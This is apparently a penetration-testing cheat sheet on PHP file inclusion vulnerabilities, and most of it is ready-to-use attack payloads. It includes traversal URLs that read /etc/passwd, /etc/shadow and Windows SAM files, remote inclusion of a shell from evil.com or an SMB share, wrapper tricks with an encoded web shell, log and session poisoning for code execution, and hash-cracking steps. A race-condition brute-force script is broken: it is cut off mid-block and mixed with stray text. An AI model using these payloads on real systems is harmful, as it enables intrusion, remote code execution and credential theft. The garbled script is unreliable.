# File Inclusion > The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. > The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application ## Summary * [Tools](#tools) * [Basic LFI](#basic-lfi) * [Null byte](#null-byte) * [Double encoding](#double-encoding) * [UTF-8 encoding](#utf-8-encoding) * [Path and dot truncation](#path-and-dot-truncation) * [Filter bypass tricks](#filter-bypass-tricks) * [Basic RFI](#basic-rfi) * [LFI / RFI using wrappers](#lfi--rfi-using-wrappers) * [Wrapper php://filter](#wrapper-phpfilter) * [Wrapper zip://](#wrapper-zip) * [Wrapper data://](#wrapper-data) * [Wrapper expect://](#wrapper-expect) * [Wrapper input://](#wrapper-input) * [Wrapper phar://](#wrapper-phar) * [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd) * [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron) * [LFI to RCE via upload](#lfi-to-rce-via-upload) * [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race) * [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo) * [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file) * [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions) * [LFI to RCE via credentials files](#lfi-o-rce-via-credentials-files) ## Tools * [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus) * [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite) * [fimap - https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Basic LFI In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files. ```powershell http://example.com/index.php?page=../../../etc/passwd ``` ### Null byte :warning: In versions of PHP below 5.3.4 we can terminate with null byte. ```powershell http://example.com/index.php?page=../../../etc/passwd%00 ``` ### Double encoding ```powershell http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### UTF-8 encoding ```powershell http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00 ``` ### Path and dot truncation On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away. ```powershell http://example.com/index.php?page=../../../etc/passwd............[ADD MORE] http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE] http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE] http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd ``` ### Filter bypass tricks ```powershell http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd ``` ## Basic RFI Most of the filter bypasses from LFI section can be reused for RFI. ```powershell http://example.com/index.php?page=http://evil.com/shell.txt ``` ### Null byte ```powershell http://example.com/index.php?page=http://evil.com/shell.txt%00 ``` ### Double encoding ```powershell http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt ``` ### Bypass allow_url_include When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol. 1. Create a share open to everyone 2. Write a PHP code inside a file : `shell.php` 3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php` ## LFI / RFI using wrappers ### Wrapper php://filter The part "php://filter" is case insensitive ```powershell http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php ``` can be chained with a compression wrapper for large files. ```powershell http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd ``` NOTE: Wrappers can be chained multiple times using `|` or `/`: - Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s` - deflate then base64encode (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php` ```powershell ./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php ``` ### Wrapper zip:// ```python echo "
" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php http://example.com/index.php?page=zip://shell.jpg%23payload.php ``` ### Wrapper data:// ```powershell http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+` ### Wrapper expect:// ```powershell http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### Wrapper input:// Specify your payload in the POST parameters, this can be done with a simple `curl` command. ```powershell curl -X POST --data "" "https://example.com/index.php?page=php://input%00" -k -v ``` Alternatively, Kadimus has a module to automate this attack. ```powershell ./kadimus -u "https://example.com/index.php?page=php://input%00" -C '' -T input ``` ### Wrapper phar:// Create a phar file with a serialized object in its meta-data. ```php // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub(''); // add object of any class as meta data class AnyClass {} $object = new AnyClass; $object->data = 'rips'; $phar->setMetadata($object); $phar->stopBuffering(); ``` If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked ```php class AnyClass { function __destruct() { echo $this->data; } } // output: rips include('phar://test.phar'); ``` NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more. ## LFI to RCE via /proc/*/fd 1. Upload a lot of shells (for example : 100) 2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too) ## LFI to RCE via /proc/self/environ Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file ```powershell GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ## LFI to RCE via upload If you can upload a file, just inject the shell payload in it (e.g : `` ). ```powershell http://example.com/index.php?page=path/to/uploaded/file.png ``` In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf ## LFI to RCE via upload (race) Worlds Quitest Let's Play" * Upload a file and trigger a self-inclusion. * Repeat 1 a shitload of time to: * increase our odds of winning the race * increase our guessing odds * Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6} * Enjoy our shell. ```python import itertools import requests import sys print('[+] Trying to win the race') f = {'file': open('shell.php', 'rb')} for _ in range(4096 * 4096): requests.post('http://target.com/index.php?c=index.php', f) print('[+] Bruteforcing the inclusion') for fname in itertools.combinations(string.ascii_letters + string.digits, 6): url = 'http://target.com/index.php?c=/tmp/php' + fname r = requests.get(url) if 'load average' in r.text: # By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name. Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py) Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf ## LFI to RCE via controlled log file Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file. ```powershell http://example.com/index.php?page=/var/log/apache/access.log http://example.com/index.php?page=/var/log/apache/error.log http://example.com/index.php?page=/var/log/nginx/access.log http://example.com/index.php?page=/var/log/nginx/error.log http://example.com/index.php?page=/var/log/vsftpd.log http://example.com/index.php?page=/var/log/sshd.log http://example.com/index.php?page=/var/log/mail http://example.com/index.php?page=/var/log/httpd/error_log http://example.com/index.php?page=/usr/local/apache/log/error_log http://example.com/index.php?page=/usr/local/apache2/log/error_log ``` ### RCE via SSH Try to ssh into the box with a PHP code as username ``. ```powershell ssh @10.10.10.10 ``` Then include the SSH log files inside the Web Application. ```powershell http://example.com/index.php?page=/var/log/auth.log&cmd=id ``` ### RCE via Mail First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`. ```powershell root@kali:~# telnet 10.10.10.10. 25 Trying 10.10.10.10.... Connected to 10.10.10.10.. Escape character is '^]'. 220 straylight ESMTP Postfix (Debian/GNU) helo ok 250 straylight mail from: mail@example.com 250 2.1.0 Ok rcpt to: root 250 2.1.5 Ok data 354 End data with . subject: data2 . ``` In some cases you can also send the email with the `mail` command line. ```powershell mail -s "" www-data@10.10.10.10. < /dev/null ``` ## LFI to RCE via PHP sessions Check if the website use PHP Session (PHPSESSID) ```javascript Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/session/sess_[PHPSESSID] files ```javascript /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` Set the cookie to `` ```powershell login=1&user=&pass=password&lang=en_us.php ``` Use the LFI to include the PHP session file ```powershell login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27 ``` ## LFI to RCE via credentials files This method require high privileges inside the application in order to read the sensitive files. ### Windows version First extract `sam` and `system` files. ```powershell http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam http://example.com/index.php?page=../../../../../../WINDOWS/repair/system ``` Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique. ### Linux version First extract `/etc/shadow` files. ```powershell http://example.com/index.php?page=../../../../../../etc/shadow ``` Then crack the hashes inside in order to login via SSH on the machine. ## References * [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) * [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/) * [Turning LFI to RFI](https://l.avala.mp/?p=241) * [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html) * [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/) * [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html) * [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a) * [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html) * [Baby^H Master PHP 2017 by @orangetw](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017) * [Чтение файлов => unserialize !](https://rdot.org/forum/showthread.php?t=4379) * [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/) * [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf) * [Local file inclusion mini list - Penetrate.io](https://penetrate.io/2014/09/25/local-file-inclusion-mini-list/) * [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a) * [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1)